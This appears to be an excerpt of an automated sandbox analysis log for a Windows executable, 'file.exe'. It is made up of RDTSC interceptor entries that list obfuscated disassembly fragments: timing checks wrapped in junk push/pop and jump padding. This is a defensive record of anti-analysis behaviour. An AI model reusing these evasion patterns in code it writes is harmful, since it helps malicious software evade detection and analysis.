Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E107FE second address: 4E10817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05EE second address: 4DF05F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05F3 second address: 4DF05F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05F9 second address: 4DF0612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F865D1C554Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0612 second address: 4DF066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e push esi 0x0000000f pop ebx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov esi, ebx 0x00000018 pushfd 0x00000019 jmp 00007F865CD192DFh 0x0000001e xor esi, 65EA2D4Eh 0x00000024 jmp 00007F865CD192E9h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10253 second address: 4E10257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10257 second address: 4E1025D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1025D second address: 4E10264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10264 second address: 4E10298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F865CD192DEh 0x00000010 add si, D888h 0x00000015 jmp 00007F865CD192DBh 0x0000001a popfd 0x0000001b mov ch, 08h 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10298 second address: 4E1029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1029C second address: 4E102A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10564 second address: 4E10568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10568 second address: 4E1056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1056E second address: 4E105B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F865D1C5551h 0x00000011 add si, A866h 0x00000016 jmp 00007F865D1C5551h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e mov esi, 40E7026Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E105B2 second address: 4E105B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E105B6 second address: 4E105FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop esi 0x0000000d pushfd 0x0000000e jmp 00007F865D1C5557h 0x00000013 adc ecx, 7545604Eh 0x00000019 jmp 00007F865D1C5559h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30734 second address: 4E3075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, F9A9h 0x00000011 push eax 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3075C second address: 4E3076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3076E second address: 4E307D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F865CD192E7h 0x0000000e mov eax, dword ptr [778165FCh] 0x00000013 pushad 0x00000014 push eax 0x00000015 mov eax, ebx 0x00000017 pop ebx 0x00000018 call 00007F865CD192DCh 0x0000001d mov dh, ch 0x0000001f pop edi 0x00000020 popad 0x00000021 test eax, eax 0x00000023 pushad 0x00000024 mov di, cx 0x00000027 movzx esi, bx 0x0000002a popad 0x0000002b je 00007F86CF67C48Ah 0x00000031 jmp 00007F865CD192E7h 0x00000036 mov ecx, eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307D7 second address: 4E307DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307DB second address: 4E307E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307E1 second address: 4E307E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E307E8 second address: 4E30814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor eax, dword ptr [ebp+08h] 0x0000000a jmp 00007F865CD192E1h 0x0000000f and ecx, 1Fh 0x00000012 pushad 0x00000013 mov edi, eax 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 ror eax, cl 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30814 second address: 4E3082B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5553h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3082B second address: 4E30858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F865CD192DFh 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e leave 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F865CD192DCh 0x00000017 pop ecx 0x00000018 movsx edi, ax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30858 second address: 4E3085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30941 second address: 4E30945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30945 second address: 4E3094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0055 second address: 4DE005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE005A second address: 4DE00D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 4DB57593h 0x00000008 mov ah, D7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F865D1C554Bh 0x00000013 mov ebp, esp 0x00000015 jmp 00007F865D1C5556h 0x0000001a and esp, FFFFFFF8h 0x0000001d pushad 0x0000001e movzx eax, di 0x00000021 mov eax, edx 0x00000023 popad 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F865D1C5550h 0x0000002c adc esi, 11AA17A8h 0x00000032 jmp 00007F865D1C554Bh 0x00000037 popfd 0x00000038 movzx esi, di 0x0000003b popad 0x0000003c mov dword ptr [esp], ecx 0x0000003f jmp 00007F865D1C554Bh 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00D2 second address: 4DE00E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F865CD192E1h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00E9 second address: 4DE015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edx, 1B2B2714h 0x00000010 jmp 00007F865D1C554Dh 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 movzx eax, bx 0x0000001c mov ebx, 1BFC78BAh 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007F865D1C554Bh 0x00000028 xor ax, C05Eh 0x0000002d jmp 00007F865D1C5559h 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebx, dword ptr [ebp+10h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F865D1C554Dh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE015A second address: 4DE019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 3E22h 0x00000007 call 00007F865CD192E3h 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007F865CD192E4h 0x00000016 mov dword ptr [esp], esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F865CD192DAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE019E second address: 4DE01AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01AD second address: 4DE01B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01B3 second address: 4DE01B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01B7 second address: 4DE01EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007F865CD192E7h 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F865CD192E0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01EE second address: 4DE01F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01F4 second address: 4DE01FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01FA second address: 4DE0243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5558h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F865D1C554Bh 0x00000011 xchg eax, edi 0x00000012 jmp 00007F865D1C5556h 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0243 second address: 4DE0247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0247 second address: 4DE024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE024B second address: 4DE0251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0251 second address: 4DE0260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0260 second address: 4DE0264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0264 second address: 4DE02AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F86CFB738EFh 0x0000000e jmp 00007F865D1C5555h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a jmp 00007F865D1C554Eh 0x0000001f je 00007F86CFB738D5h 0x00000025 pushad 0x00000026 mov cx, 66EDh 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE02AB second address: 4DE032E instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c mov ecx, ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 or edx, dword ptr [ebp+0Ch] 0x00000018 jmp 00007F865CD192E1h 0x0000001d test edx, 61000000h 0x00000023 pushad 0x00000024 push ecx 0x00000025 jmp 00007F865CD192E3h 0x0000002a pop ecx 0x0000002b mov dh, E5h 0x0000002d popad 0x0000002e jne 00007F86CF6C766Bh 0x00000034 jmp 00007F865CD192E0h 0x00000039 test byte ptr [esi+48h], 00000001h 0x0000003d jmp 00007F865CD192E0h 0x00000042 jne 00007F86CF6C765Ah 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov edx, 751699C0h 0x00000050 mov dh, 91h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0734 second address: 4DD0738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0738 second address: 4DD073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD073E second address: 4DD0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, DFh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0757 second address: 4DD076C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD076C second address: 4DD0804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F865D1C554Ch 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F865D1C5550h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F865D1C5550h 0x0000001b and esp, FFFFFFF8h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F865D1C554Eh 0x00000025 or cx, F6E8h 0x0000002a jmp 00007F865D1C554Bh 0x0000002f popfd 0x00000030 call 00007F865D1C5558h 0x00000035 jmp 00007F865D1C5552h 0x0000003a pop ecx 0x0000003b popad 0x0000003c push esp 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F865D1C554Dh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0804 second address: 4DD0814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0814 second address: 4DD082E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD082E second address: 4DD0832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0832 second address: 4DD084D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5557h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD084D second address: 4DD08A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 pushfd 0x00000011 jmp 00007F865CD192DFh 0x00000016 adc si, 145Eh 0x0000001b jmp 00007F865CD192E9h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08A1 second address: 4DD08C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F865D1C554Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08C5 second address: 4DD093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d push eax 0x0000000e mov di, 8982h 0x00000012 pop edx 0x00000013 popad 0x00000014 mov esi, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 mov dx, ax 0x0000001b push esi 0x0000001c mov ebx, 5E305732h 0x00000021 pop edx 0x00000022 popad 0x00000023 sub ebx, ebx 0x00000025 pushad 0x00000026 movsx edi, si 0x00000029 jmp 00007F865CD192DEh 0x0000002e popad 0x0000002f test esi, esi 0x00000031 pushad 0x00000032 push esi 0x00000033 push edx 0x00000034 pop ecx 0x00000035 pop edx 0x00000036 call 00007F865CD192E6h 0x0000003b mov ax, EDC1h 0x0000003f pop ecx 0x00000040 popad 0x00000041 je 00007F86CF6CED3Eh 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F865CD192DFh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD093F second address: 4DD095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD095C second address: 4DD09EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 mov cx, 1C03h 0x00000015 jmp 00007F865CD192E8h 0x0000001a popad 0x0000001b mov ecx, esi 0x0000001d pushad 0x0000001e mov ecx, 3C85B79Dh 0x00000023 popad 0x00000024 je 00007F86CF6CECDAh 0x0000002a jmp 00007F865CD192E4h 0x0000002f test byte ptr [77816968h], 00000002h 0x00000036 jmp 00007F865CD192E0h 0x0000003b jne 00007F86CF6CECBCh 0x00000041 jmp 00007F865CD192E0h 0x00000046 mov edx, dword ptr [ebp+0Ch] 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD09EF second address: 4DD0A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A0C second address: 4DD0A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F865CD192DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A37 second address: 4DD0A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A3B second address: 4DD0A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A3F second address: 4DD0A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A45 second address: 4DD0A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F865CD192E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A70 second address: 4DD0A76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A76 second address: 4DD0A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A7A second address: 4DD0A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A89 second address: 4DD0A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A9A second address: 4DD0AF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d mov di, si 0x00000010 jmp 00007F865D1C5558h 0x00000015 popad 0x00000016 push dword ptr [ebp+14h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F865D1C554Dh 0x00000022 jmp 00007F865D1C554Bh 0x00000027 popfd 0x00000028 mov edi, eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B3C second address: 4DD0BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F865CD192DAh 0x0000000a sbb ch, FFFFFFE8h 0x0000000d jmp 00007F865CD192DBh 0x00000012 popfd 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F865CD192E8h 0x0000001a jmp 00007F865CD192E5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop esi 0x00000022 jmp 00007F865CD192DEh 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F865CD192E7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BB4 second address: 4DD0BD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C5559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BD9 second address: 4DD0BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BDD second address: 4DD0BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865D1C554Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
